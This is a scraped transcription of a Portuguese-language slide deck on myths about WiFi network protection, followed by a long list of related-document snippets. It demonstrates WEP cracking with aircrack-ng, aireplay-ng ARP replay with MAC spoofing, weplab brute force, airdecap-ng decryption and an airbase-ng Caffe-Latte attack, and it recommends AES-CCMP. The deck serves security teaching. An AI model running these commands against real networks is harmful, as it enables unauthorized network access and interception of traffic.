Mitos sobre proteção de redes WiFi. Nelson Murilo
|
|
|
- Brent Wilkinson
- 8 years ago
- Views:
Transcription
1 Mitos sobre proteção de redes WiFi Nelson Murilo
2 Agenda Descrição dos mitos Onde eles falham O que funciona
3
4 Nome da rede CH 10 ][ Elapsed: 9 mins ][ :24 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:07:40:4D:1A:5C 00:19:E0:64:DC:10 00:1F:33:CD:CA:4A 00:1B:11:50:2F:2E 00:16:B6:47:CF:B9 BSSID STATION WEP WPA WPA WEP OPN PWR Rate WEP Homenet54 CCMP PSK PCSL TKIP PSK NETGEAR WEP OPN dlink <length: 0> Lost Packets Probes 00:07:40:4D:1A:5C 00:1B:77:7B:82: :16:B6:47:CF:B9 00:23:12:05:64:C linksys
5 Clonagem de Mac
6 Descrição dos mitos
7 Descrição dos mitos
8 Descrição dos mitos 1) Número de IVs insuficiente Rede com baixo tráfego Pouco tempo de captura Troca dinâmica de chave WEP
9 Poucos IVs Aircrack-ng 1.0 [00:00:04] Tested keys (got 2549 IVs) KB depth byte(vote) 14/ 22 D6(3840) 04(3584) 06(3584) 2A(3584) 31(3584) 43/ 1 FE(3328) 03(3072) 04(3072) 10(3072) 11(3072) 7/ 15 F6(4352) 4F(3840) 70(3840) 7B(3840) 7E(3840) 19/ 3 FF(3840) 15(3584) 1B(3584) 20(3584) 2E(3584) 1/ 21 A2(4608) 11(4352) 5E(4352) AD(4352) 24(4096) Failed. Next try with 5000 IVs.
10 Poucos IVs CH 6 ][ Elapsed: 8 s ][ :06 BSSID PWR RXQ Beacons 00:1B:11:60:38: #Data, #/s CH MB ENC CIPHER AUTH ESSID WEP WEP ABC
11 Poucos IVs CH 6 ][ Elapsed: 8 s ][ :06 BSSID PWR RXQ Beacons 00:1B:11:60:38: #Data, #/s CH MB ENC CIPHER AUTH ESSID WEP WEP ABC aireplay-ng -arpreplay -h 00:1F:E2:82:D0:D7 -b 00:1B:11:60:38:89 -e "ABC" wlan1 The interface MAC (00:21:29:65:B8:45) doesn't match the specified MAC (-h). ifconfig wlan1 hw ether 00:1F:E2:82:D0:D7 22:06:17 Waiting for beacon frame (BSSID: 00:1B:11:60:38:89) on channel 6 Saving ARP requests in replay_arp cap You should also start airodump-ng to capture replies. Read packets (got ARP requests and 0 ACKs), sent packets...(500 pps)
12 Poucos IVs CH 6 ][ Elapsed: 8 s ][ :06 BSSID PWR RXQ Beacons 00:1B:11:60:38: #Data, #/s CH MB ENC CIPHER AUTH ESSID WEP WEP ABC aireplay-ng -arpreplay -h 00:1F:E2:82:D0:D7 -b 00:1B:11:60:38:89 -e "ABC" wlan1 The interface MAC (00:21:29:65:B8:45) doesn't match the specified MAC (-h). ifconfig wlan1 hw ether 00:1F:E2:82:D0:D7 22:06:17 Waiting for beacon frame (BSSID: 00:1B:11:60:38:89) on channel 6 Saving ARP requests in replay_arp cap You should also start airodump-ng to capture replies. Read packets (got ARP requests and 0 ACKs), sent packets...(500 pps) CH 6 ][ Elapsed: 12 s ][ :06 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:1B:11:60:38: WEP WEP ABC
13 Poucos IVs aircrack cap1.ivs Aircrack-ng 1.0 [00:00:11] Tested keys (got 891 IVs) KB depth byte(vote) 0 14/ 15 F7(1792) 09(1536) 0E(1536) 1C(1536) 22(1536) 1 10/ 18 FC(2048) 06(1792) 3A(1792) 52(1792) 57(1792) 2 14/ 2 F5(1792) 1B(1536) 32(1536) 3B(1536) 44(1536) 3 16/ 3 F1(1792) 0C(1536) 0F(1536) 20(1536) 51(1536) 4 12/ 13 02(2048) 01(1792) 22(1792) 38(1792) 4A(1792) Failed. Next try with 5000 IVs.
14 Poucos IVs aircrack cap2.ivs Aircrack-ng 1.0 [00:00:16] Tested keys (got IVs) KB depth byte(vote) 0 14/ 19 6F(63932) 93(63884) 34(63784) F8(63708) E9(63636) 1 16/ 17 95(64364) 78(63960) 6B(63532) CB(63448) AA(63380) 2 23/ 2 4A(63088) C7(62940) 1D(62936) 21(62864) 2C(62832) 3 7/ 8 1A(66056) 3D(65536) 03(64844) 55(64668) 36(64508) 4 108/ 4 FC(58436) DF(58364) 2C(58328) 10(58324) 68(58256) Failed. Next try with IVs.
15 Poucos IVs ivstools --merge cap1.ivs cap2.ivs captotal.ivs aircrack-ng captotal.ivs Aircrack-ng 1.0 [00:00:06] Tested 530 keys (got IVs) KB depth byte(vote) 0/ 3 A0(79112) 9C(67988) 26(67952) BD(67120) 44(67076) 2/ 3 B6(68604) CF(68136) 5E(68100) 69(66832) 01(66780) 4/ 2 B3(66704) C6(65832) 32(65792) 94(65568) 97(65568) 1/ 2 0B(70516) 46(69772) 7D(69016) 13(68724) 69(67732) 74/ 4 43(61296) 0A(61152) 79(61148) 6C(60956) 0B(60748) KEY FOUND! [ A0:1B:10:C1:1D:20:0E:30:1F:21:1A:40:00 ] Decrypted correctly: 100%
16 Poucos IVs aircrack-ng -w dict captura01.cap # BSSID ESSID 1 00:1B:11:50:2F:2E dlink KB Encryption WEP (202 IVs) Aircrack-ng 1.0 [00:00:00] Tested 1509 keys (got 202 IVs) depth byte(vote) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) KEY FOUND! [ 66:6F:72:6D:75:6C:61:XX... ] (ASCII: formula... ) Decrypted correctly: 100%
17 Poucos IVs
18 Poucos IVs
19 Poucos IVs weplab --bssid 00:19:5B:3E:5B:27 -b -k 128 wep01.cap weplab - Wep Key Cracker Wep Key Cracker (v0.1.6). Jose Ignacio Sanchez Martin - Topo[LB] <topolb@users.sourceforge.net> Total valid packets read: 265 Total packets read: Bruteforce started! Please hit enter to get statistics.
![Jose Ignacio Sanchez Martin - Topo[LB] <topolb@users.sourceforge.](/docs-images/43/2674670/images/page_19.jpg "net> Total valid packets read: 265 Total packets read: 1183392 Bruteforce")
20 Chaves dinâmicas tcpdump -r 01.cap 14:04: WEP Encrypted 44us Data IV:2cc249 Pad 0 KeyID 0 14:04: Retry WEP Enc rypted 314us Data IV:2cc249 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2dc249 Pad 0 KeyID 0 14:04: Retry WEP Encrypted 314us Data IV:2dc249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa196 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa197 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2ec249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa198 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2fc249 Pad 0 KeyID 0
21 Chaves dinâmicas tcpdump -r 01.cap 14:04: WEP Encrypted 44us Data IV:2cc249 Pad 0 KeyID 0 14:04: Retry WEP Enc rypted 314us Data IV:2cc249 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2dc249 Pad 0 KeyID 0 14:04: Retry WEP Encrypted 314us Data IV:2dc249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa196 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa197 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2ec249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa198 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2fc249 Pad 0 KeyID 0 airdecap-ng -f -w XXXXXXXXXXXX 01.cap
22 Chaves dinâmicas tcpdump -r 01.cap 14:04: WEP Encrypted 44us Data IV:2cc249 Pad 0 KeyID 0 14:04: Retry WEP Enc rypted 314us Data IV:2cc249 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2dc249 Pad 0 KeyID 0 14:04: Retry WEP Encrypted 314us Data IV:2dc249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa196 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa197 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2ec249 Pad 0 KeyID 0 14:04: WEP Encrypted 117us Data IV:fa198 Pad 0 KeyID 0 14:04: WEP Encrypted 44us Data IV:2fc249 Pad 0 KeyID 0 airdecap-ng -f -w XXXXXXXXXXXX 01.cap tcpdump -r 01-dec.cap note > s3.amazonaws.com.https: Flags [S], cksum 0x729b (correct), seq , win 5840, options [mss 1460,nop,nop,sackOK,nop,wscale 6], length 0 14:19: IP (tos 0x0, ttl 64, id 64263, offset 0, flags [DF], proto TCP ( 6), length 52) note > s3.amazonaws.com.https: Flags [S], cksum 0x4536 (correct), seq , win 5840, options [mss 1460,nop,nop,sackOK,nop,wscale 6], length 0 14:19: IP (tos 0x0, ttl 50, id 0, offset 0, flags [DF], proto TCP (6), length 52) https > note.56257: Flags [S.], cksum 0x0a2e (correct), seq , ack , win 5840, options [mss 1400,nop,nop,sackOK,nop,wscal e 8], length 0
23 AP desligado
24 AP desligado
25 AP Desligado airbase-ng -c 11 -L -e virus.exe -W 1 wlan1 23:11:31 Created tap interface at0 23:11:31 Access Point with BSSID 00:21:29:65:B8:45 started. 23:12:25 Got 140 bytes keystream: 00:23:12:D7:DA:F8 23:12:25 SKA from 00:23:12:D7:DA:F8 23:12:25 Client 00:23:12:D7:DA:F8 associated (WEP) to ESSID: "virus.exe" 23:12:25 Starting Caffe-Latte attack against 00:23:12:D7:DA:F8 at 100 pps. 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe"
26 AP Desligado airbase-ng -c 11 -L -e virus.exe -W 1 wlan1 23:11:31 Created tap interface at0 23:11:31 Access Point with BSSID 00:21:29:65:B8:45 started. 23:12:25 Got 140 bytes keystream: 00:23:12:D7:DA:F8 23:12:25 SKA from 00:23:12:D7:DA:F8 23:12:25 Client 00:23:12:D7:DA:F8 associated (WEP) to ESSID: "virus.exe" 23:12:25 Starting Caffe-Latte attack against 00:23:12:D7:DA:F8 at 100 pps. 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe"
27 AP Desligado airbase-ng -c 11 -L -e virus.exe -W 1 wlan1 23:11:31 Created tap interface at0 23:11:31 Access Point with BSSID 00:21:29:65:B8:45 started. 23:12:25 Got 140 bytes keystream: 00:23:12:D7:DA:F8 23:12:25 SKA from 00:23:12:D7:DA:F8 23:12:25 Client 00:23:12:D7:DA:F8 associated (WEP) to ESSID: "virus.exe" 23:12:25 Starting Caffe-Latte attack against 00:23:12:D7:DA:F8 at 100 pps. 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe" 23:12:36 Client 00:23:12:D7:DA:F8 associated (unencrypted) to ESSID: "virus.exe"
28 Bonus CH 4 ][ Elapsed: 4 hours ][ :15 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:07:40:DD:AA:C WEP WEP CASA 00:1F:33:CD:CA:4A WPA TKIP PSK NETGEAR 00:19:00:64:DC: WPA2 CCMP PSK PCSL 00:16:06:47:CF:B OPN linksys 00:1B:01:50:2E:E WEP WEP OPN dlink BSSID STATION PWR Rate Lost Packets Probes 00:07:40:DD:AA:C4 00:21:47:AA:66: CASA 00:07:40:DD:AA:C4 00:B2:01:7B:82: CASA 00:16:06:47:CF:B9 00:23:12:05:64:C linksys
29 Bonus CH 4 ][ Elapsed: 4 hours ][ :15 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:1F:33:CD:CA:4A :19:00:64:DC: :16:06:47:CF:B :1B:01:50:2E:E BSSID STATION PWR Rate WPA TKIP PSK NETGEAR WPA2 CCMP PSK PCSL 6 54 OPN linksys WEP WEP OPN dlink Lost Packets Probes 00:07:40:DD:AA:C4 00:21:47:AA:66: CASA 00:16:06:47:CF:B9 00:23:12:05:64:C linksys $ grep /usr/local/etc/oui.txt (hex) Nintendo Co., Ltd.
30 Descrição dos mitos
31 Mitos
32
33 TKIP attack (pacsec2008/9) 1. Este ataque não revela a chave. Usa técnica semelhante ao ataque chopchop (WEP) 2. O ataque afeta todas as implementações (WPA e WPA2) que usem chaves préviamente compatilhadas ou mesmo o modelo Enterprise (802.1x) 3. O ataque pode revelar um byte do tráfego por minuto, pacotes pequenos como ARP são candidados preferenciais para o ataque. 4. Se o QOS estiver habilitado podem, adicionalmente, serem enviados até 15 frames arbitrários para cada pacote decifrado 5. Ferramenta disponível: tkiptun-ng 6. Conclusão: Use AES-CCMP
34 PCI-DSS
35 Monitoramento iwl3945: Intel(R) PRO/Wireless 3945ABG/BG Network Connection driver for Linux, kds iwl3945: Copyright(c) Intel Corporation iwl3945: Detected Intel Wireless WiFi Link 3945ABG iwl3945: Tunable channels: bg, a channels
36 Monitoramento iwl3945: Intel(R) PRO/Wireless 3945ABG/BG Network Connection driver for Linux, kds iwl3945: Copyright(c) Intel Corporation iwl3945: Detected Intel Wireless WiFi Link 3945ABG iwl3945: Tunable channels: bg, a channels
37 Monitoramento
38 Monitoramento CH 5 ][ Elapsed: 40 s ][ :55 BSSID PWR Beacons 00:1F:33:CD:CA:4A 00:19:E0:64:DC:10 00:1B:11:50:2F:2E 00:09:5B:66:3D:0E BSSID STATION #Data, #/s CH MB ENC CIPHER AUTH ESSID PWR Rate 00:09:5B:66:3D:0E 00:23:12:D7:DA:F WPA TKIP PSK NETGEAR 11. WPA2 CCMP PSK PCSL 54. WEP WEP dlink 54. WPA TKIP PSK BERG Lost Packets Probes BERG
39 Monitoramento
40 Monitoramento
41
42
43 # aircrack-ng WPANET.cap Opening WPANET.cap Read packets. # BSSID ESSID 1 00:19:E0:64:DC:11 WPANET Choosing first network as target. Opening WPANETL.cap Please specify a dictionary (option -w). Encryption WPA (1 handshake)
44 You Sh0t the Sheriff de maio 2010
MITM Man in the Middle
MITM Man in the Middle Wifi Packet Capturing and Session Hijacking using Wireshark Introduction The main Objective of this Attack is to make a Fake Access point and send the fake ARP Packets on same Wi-Fi
Wireless LAN Pen-Testing. Part I
Wireless LAN Pen-Testing Part I To know your Enemy, you must become your Enemy (Sun Tzu, 600 BC) Georg Penn 23.03.2012 Motivation Read manuals, documentation, standards Check sources for their reliability,
WEP Overview 1/2. and encryption mechanisms Now deprecated. Shared key Open key (the client will authenticate always) Shared key authentication
WLAN Security WEP Overview 1/2 WEP, Wired Equivalent Privacy Introduced in 1999 to provide confidentiality, authentication and integrity Includes weak authentication Shared key Open key (the client will
WEP WPA WPS :: INDEX : Introduction :
WEP WPA WPS With clients Without clients :: INDEX : Introduction > Overview > Terms & Definitions [ Step 1 ] : Configuring the network interface [ Step 2 ] : Collecting the network info [ Step 3 ] : Capturing
ALEXANDRE BORGES BLOG
Cracking WEP Networks Author: Alexandre Borges Date: FEB/20/2014 Revision: 1.0 ALEXANDRE BORGES BLOG When I ve published the first document about Cracking Wireless Networks (http://alexandreborgesbrazil.files.wordpress.com/2014/02/cracking_wireless.pdf)
Vulnerabilities of Wireless Security protocols (WEP and WPA2)
Vulnerabilities of Wireless Security protocols (WEP and WPA2) Vishal Kumkar, Akhil Tiwari, Pawan Tiwari, Ashish Gupta, Seema Shrawne Abstract - Wirelesses Local Area Networks (WLANs) have become more prevalent
WEP WPA WPS :: INDEX : Introduction :
WEP WPA WPS With clients Without clients :: INDEX : Introduction > Overview > Terms & Definitions [ Step 1 ] : Configuring the network interface [ Step 2 ] : Collecting the network info [ Step 3 ] : Capturing
INSECURITY OF WEP ENCRYPTION ON WIRELESS NETWORKS
INSECURITY OF WEP ENCRYPTION ON WIRELESS NETWORKS Radoje CVEJIĆ 1, Aleksandar VASEV 2, Stefan CVEJIĆ 3 Faculty for Strategic and Operational Management, Belgrade, SERBIA 1 E-mail: radoje.cvejic@fpsp.edu.rs,
0) What is the wpa handhake?
We have already seen how easy it is with time and the right tools to get the WEP key of any wireless network. We have already explained that these operations are not lawful but for pure interest and personal
Symm ym e m t e r t ic i c cr c yptogr ypt aphy a Ex: RC4, AES 2
Wi-Fi Security FEUP>MIEIC>Mobile Communications Jaime Dias Symmetric cryptography Ex: RC4, AES 2 Digest (hash) Cryptography Input: variable length message Output: a fixed-length bit
Security+ Guide to Network Security Fundamentals, Third Edition. Chapter 6. Wireless Network Security
Security+ Guide to Network Security Fundamentals, Third Edition Chapter 6 Wireless Network Security Objectives Overview of IEEE 802.11 wireless security Define vulnerabilities of Open System Authentication,
WiFi Security Assessments
WiFi Security Assessments Robert Dooling Dooling Information Security Defenders (DISD) December, 2009 This work is licensed under a Creative Commons Attribution 3.0 Unported License. Table of Contents
S-38.2131/3133 Networking Technology, laboratory course A/B
A! Aalto University School of Electrical Engineering Department of Communications and Networking S-38.2131/3133 Networking Technology, laboratory course A/B Student edition Anni Matinlauri, 3.1.2007 Tuomas
802.11 Security (WEP, WPA\WPA2) 19/05/2009. Giulio Rossetti Unipi Giulio.Rossetti@gmail.com
802.11 Security (WEP, WPA\WPA2) 19/05/2009 Giulio Rossetti Unipi Giulio.Rossetti@gmail.com 802.11 Security Standard: WEP Wired Equivalent Privacy The packets are encrypted, before sent, with a Secret Key
Wifi Penetration. Wireless Communication and Computer/Network Forensics
Wifi Penetration Wireless Communication and Computer/Network Forensics Terms Skiddy(Derogatory): Variant of "Script Kiddy". Hacker(Derogatory):One who builds something. Cracker(Derogatory):One who breaks
Chapter 6 CDMA/802.11i
Chapter 6 CDMA/802.11i IC322 Fall 2014 Computer Networking: A Top Down Approach 6 th edition Jim Kurose, Keith Ross Addison-Wesley March 2012 Some material copyright 1996-2012 J.F Kurose and K.W. Ross,
Methodology: Security plan for wireless networks. By: Stephen Blair Mandeville A. Summary
Methodology: Security plan for wireless networks By: Stephen Blair Mandeville A. Summary The evolution to wireless networks allows connections with the same quality of data transfer at a lower cost but
Kali Linux Cookbook. Willie L. Pritchett David De Smet. Chapter No. 9 "Wireless Attacks"
Kali Linux Cookbook Willie L. Pritchett David De Smet Chapter No. 9 "Wireless Attacks" In this package, you will find: A Biography of the authors of the book A preview chapter from the book, Chapter NO.9
An Experimental Study Analysis of Security Attacks at IEEE 802.11 Wireless Local Area Network
, pp. 9-18 http://dx.doi.org/10.14257/ijfgcn.2015.8.1.02 An Experimental Study Analysis of Security Attacks at IEEE 802.11 Wireless Local Area Network 1 Md Waliullah, 2 A B M Moniruzzaman and 3 Md. Sadekur
CSE 127: Computer Security. Network Security. Kirill Levchenko
CSE 127: Computer Security Network Security Kirill Levchenko December 4, 2014 Network Security Original TCP/IP design: Trusted network and hosts Hosts and networks administered by mutually trusted parties
Wireless Hacking Haifux. Wireless Hacking. Edri Guy. Mar 04,2013. See-Security. Mar 04 2013 Wireless Hacking - Haifux
Wireless Hacking Edri Guy Mar 04,2013 DISCLAIMER 1 The following discussion is for informational and education purpose only. 2 Hacking into private network without the written permission from the owner
Introduction on Low level Network tools
Georges Da Costa dacosta@irit.fr http: //www.irit.fr/~georges.da-costa/cours/addis/ 1 Introduction 2 Aircrack-ng 3 Wireshark Low level tools Hacking tools Aircrack-ng (ex Aircrack, ex Airsnort) WEP/WPA
ICP DAS WF-2571 FAQ. FAQ Version 1.0. ICP DAS Co., Ltd. 2014-12-23
ICP DAS WF-2571 FAQ FAQ Version 1.0 ICP DAS Co., Ltd. 2014-12-23 Table of Contents Q1: WF-2571 doesn t work at Ad-Hoc mode. What should I do?... 3 Q2: WF-2571 doesn t work at AP mode. What should I do?...
DefCon 22. Wireless Penetration Testing and How to WCTF
DefCon 22 Wireless Penetration Testing and How to WCTF RF Pentesting Platforms Internet access SmartPhone with USB tether (wifi/bt could be an issue) Laptop (MAC or PC) Multi core processor 8 GB ram or
G.DUO. Dual 11g Access Point. User s Manual
G.DUO Dual 11g Access Point User s Manual Copyright and Disclaimer Copyright & Disclaimer No part of this publication may be reproduced in any form or by any means, whether electronic, mechanical, photocopying,
Wireless Pre-Shared Key Cracking (WPA, WPA2)
Wireless Pre-Shared Key Cracking (WPA, WPA2) TABLE OF CONTENTS Introduction... 2 Mechanics Of PSKs And How They Work Demystified... 2 How PSKs Can Be Cracked!... 5 WPA2 PSK Cracking Demonstration.... 6
Security in IEEE 802.11 WLANs
Security in IEEE 802.11 WLANs 1 IEEE 802.11 Architecture Extended Service Set (ESS) Distribution System LAN Segment AP 3 AP 1 AP 2 MS MS Basic Service Set (BSS) Courtesy: Prashant Krishnamurthy, Univ Pittsburgh
SSI. Commons Wireless Protocols WEP and WPA2. Bertil Maria Pires Marques. E-mail: pro09020@fe.up.pt Dez 2009. Dez 2009 1
SSI Commons Wireless Protocols WEP and WPA2 Bertil Maria Pires Marques E-mail: pro09020@fe.up.pt Dez 2009 Dez 2009 1 WEP -Wired Equivalent Privacy WEPisasecurityprotocol,specifiedintheIEEEWireless Fidelity
ECE 4893: Internetwork Security Lab 10: Wireless 802.11 Security
Group Number: Member Names: Date Assigned: March 23, 2004 Date Due: March 30, 2004 Last Revised: March 22, 2004 ECE 4893: Internetwork Security Lab 10: Wireless 802.11 Security Goal: The goal of this lab
Table of Contents. Cisco Wi Fi Protected Access 2 (WPA 2) Configuration Example
Table of Contents Wi Fi Protected Access 2 (WPA 2) Configuration Example...1 Document ID: 67134...1 Introduction...1 Prerequisites...1 Requirements...1 Components Used...2 Conventions...2 Background Information...2
Cryptanalysis of IEEE 802.11i TKIP
Cryptanalysis of IEEE 802.11i TKIP Finn Michael Halvorsen Olav Haugen Master of Science in Communication Technology Submission date: June 2009 Supervisor: Stig Frode Mjølsnes, ITEM Co-supervisor: Martin
1! Network forensics
Network Forensics COMP 2555: Principles of Computer Forensics Autumn 2014 http://www.cs.du.edu/2555 1! Network forensics Network Forensics Overview! Systematic tracking of incoming and outgoing traffic!
AirPcap User s Guide. May 2013
AirPcap User s Guide May 2013 2013 Riverbed Technology. All rights reserved. Accelerate, AirPcap, BlockStream, Cascade, Cloud Steelhead, Granite, Interceptor, RiOS, Riverbed, Shark, SkipWare, Steelhead,
CSC574: Computer and Network Security
CSC574: Computer and Network Security Lecture 21 Prof. William Enck Spring 2016 (Derived from slides by Micah Sherr) Wireless Security Wireless makes network security much more difficult Wired: If Alice
UNIK4250 Security in Distributed Systems University of Oslo Spring 2012. Part 7 Wireless Network Security
UNIK4250 Security in Distributed Systems University of Oslo Spring 2012 Part 7 Wireless Network Security IEEE 802.11 IEEE 802 committee for LAN standards IEEE 802.11 formed in 1990 s charter to develop
User Manual Network Interface
User Manual Network Interface Rev. 1.02 SRP-F310 SRP-F312 http://www.bixolon.com Table of Contents 1. Specifications...3 2. How to Connect...5 2-1 Initial Wireless LAN Connection (Windows 2000)...8 2-2
White paper. Testing for Wi-Fi Protected Access (WPA) in WLAN Access Points. http://www.veryxtech.com
White paper Testing for Wi-Fi Protected Access (WPA) in WLAN Access Points http://www.veryxtech.com White Paper Abstract Background The vulnerabilities spotted in the Wired Equivalent Privacy (WEP) algorithm
Wireless Traffic Analysis. Kelcey Tietjen DF Written Report 10/03/06
Wireless Traffic Analysis Kelcey Tietjen DF Written Report 10/03/06 Executive Summary Wireless traffic analysis provides a means for many investigational leads for a forensic examination. It can provide
The Wireless Network Road Trip
The Wireless Network Road Trip The Association Process To begin, you need a network. This lecture uses the common logical topology seen in Figure 9-1. As you can see, multiple wireless clients are in
Chapter 2 Wireless Networking Basics
Chapter 2 Wireless Networking Basics Wireless Networking Overview Some NETGEAR products conform to the Institute of Electrical and Electronics Engineers (IEEE) 802.11g standard for wireless LANs (WLANs).
Uma Ferramenta Essencial! Prof. Fred Sauer, D.Sc. fsauer@gmail.com
Uma Ferramenta Essencial! Prof. Fred Sauer, D.Sc. fsauer@gmail.com Quem é WireShark? Packet sniffer/protocol analyzer Ferramenta de Rede de código aberto Evolução do Ethereal Instalação Instalação no
Wireless Network Security. Pat Wilbur Wireless Networks March 30, 2007
Wireless Network Security Pat Wilbur Wireless Networks March 30, 2007 Types of Attacks Intrusion gain unauthorized access to a network in order to use the network or Internet connection Types of Attacks
Network Security. Security in local-area networks. Radboud University, The Netherlands. Autumn 2015
Network Security Security in local-area networks Radboud University, The Netherlands Autumn 2015 Announcement Exercise class (werkcollege) room changed: Thursday, 8:30 10:30, in LIN 8 More room changes
Hacking. Aims. Naming, Acronyms, etc. Sources
Free Technology Workshop Hacking Hands on with wireless LAN routers, packet capture and wireless security Organised by Steven Gordon Bangkadi 3 rd floor IT Lab 10:30-13:30 Friday 18 July 2014 http://ict.siit.tu.ac.th/moodle/.-----.-----.-----..----.
ALL1682511. 500Mbits Powerline WLAN N Access Point. User s Manual
ALL1682511 500Mbits Powerline WLAN N Access Point User s Manual Contents 1. Introduction...1 2. System Requirements...1 3. Configuration...1 4. WPS...9 5. Wireless AP Settings...9 6. FAQ... 15 7. Glossary...
Lab Exercise 802.11. Objective. Requirements. Step 1: Fetch a Trace
Lab Exercise 802.11 Objective To explore the physical layer, link layer, and management functions of 802.11. It is widely used to wireless connect mobile devices to the Internet, and covered in 4.4 of
WIRELESS SECURITY TOOLS
WIRELESS SECURITY TOOLS Johanna Janse van Rensburg, Barry Irwin Rhodes University G01j202j7@campus.ru.ac.za, b.irwin@ru.ac.za (083) 944 3924 Computer Science Department, Hamilton Building, Rhodes University
WLAN Authentication and Data Privacy
WLAN Authentication and Data Privacy Digi Wi-Point 3G supports various Wi-Fi security options, including WEP-40/WEP-104 and WPA- PSK and WPA2-PSK. To configure WLAN security on DIGI WI-POINT 3G, you may
Wireless Networks: Success, Failure & Insecurity Security-Assessment.com Breakfast Briefing, September 2006
Wireless Networks: Success, Failure & Insecurity Security-Assessment.com Breakfast Briefing, September 2006 Presented By Adam Boileau Who am I? Adam Boileau, Senior Security Consultant at SecurityAssessment.com
Advanced Security Issues in Wireless Networks
Advanced Security Issues in Wireless Networks Seminar aus Netzwerke und Sicherheit Security Considerations in Interconnected Networks Alexander Krenhuber Andreas Niederschick 9. Januar 2009 Advanced Security
Section 1 Wireless Packet Captures & Connection Analysis- A Review
Section 1 Wireless Packet Captures & Connection Analysis- A Review Many of you will have already used many of these tools, or at least had some experience with them in previous CWNP or vendor Wireless
Wireless Robust Security Networks: Keeping the Bad Guys Out with 802.11i (WPA2)
Wireless Robust Security Networks: Keeping the Bad Guys Out with 802.11i (WPA2) SUNY Technology Conference June 21, 2011 Bill Kramp FLCC Network Administrator Copyright 2011 William D. Kramp All Rights
Network Security. Abusayeed Saifullah. CS 5600 Computer Networks. These slides are adapted from Kurose and Ross 8-1
Network Security Abusayeed Saifullah CS 5600 Computer Networks These slides are adapted from Kurose and Ross 8-1 roadmap 1 What is network security? 2 Principles of cryptography 3 Message integrity, authentication
WLAN 802.11w Technology
Technical white paper WLAN 80.w Technology Table of contents Overview... Technical background... Benefits... 80.w technology implementation... Management Frame Protection negotiation... Protected management
Attacks against the WiFi protocols WEP and WPA
Attacks against the WiFi protocols WEP and WPA Matthieu Caneill Jean-Loup Gilis October - December 2010 Abstract Wireless networks are today an entire part of the Internet, and are often used by companies
ALL0233 Wireless-N USB Dongle User Guide
ALL0233 Wireless-N USB Dongle User Guide Table of Contents CHAPTER 1 INTRODUCTION... 1 Package Contents... 1 Features... 1 LEDs... 1 Operation... 2 CHAPTER 2 INITIAL INSTALLATION... 3 Requirements... 3
Building secure wireless access point based on certificate authentication and firewall captive portal
EPJ Web of Conferences 68, 00029 (2014) DOI: 10.1051/ epjconf/ 20146800029 C Owned by the authors, published by EDP Sciences, 2014 Building secure wireless access point based on certificate authentication
PENETRATION TESTING ON A WIRELESS NETWORK.
Bachelor s Thesis (TUAS) Degree Program: Information Technology Specialization: Internet Technology 2013 Gbolahan Ola PENETRATION TESTING ON A WIRELESS NETWORK. USING BACKTRACK 5 BACHELOR S THESIS ABSTRACT
Wi-Fi security WEP, WPA and WPA2
Wi-Fi security WEP, WPA and WPA2 What's hot Guillaume Lehembre Difficulty Wi-Fi (Wireless Fidelity) is one of today s leading wireless technologies, with Wi-Fi support being integrated into more and more
Basic processes in IEEE802.11 networks
Module contents IEEE 802.11 Terminology IEEE 802.11 MAC Frames Basic processes in IEEE802.11 networks Configuration parameters.11 Architect. 1 IEEE 802.11 Terminology Station (STA) Architecture: Device
Virtual Access Points
Virtual Access Points Performance Impacts in an 802.11 environment and Alternative Solutions to overcome the problems By Thenu Kittappa Engineer Author: Thenu Kittappa Page 1 Virtual Access Points... 1
WPA Migration Mode: WEP is back to haunt you...
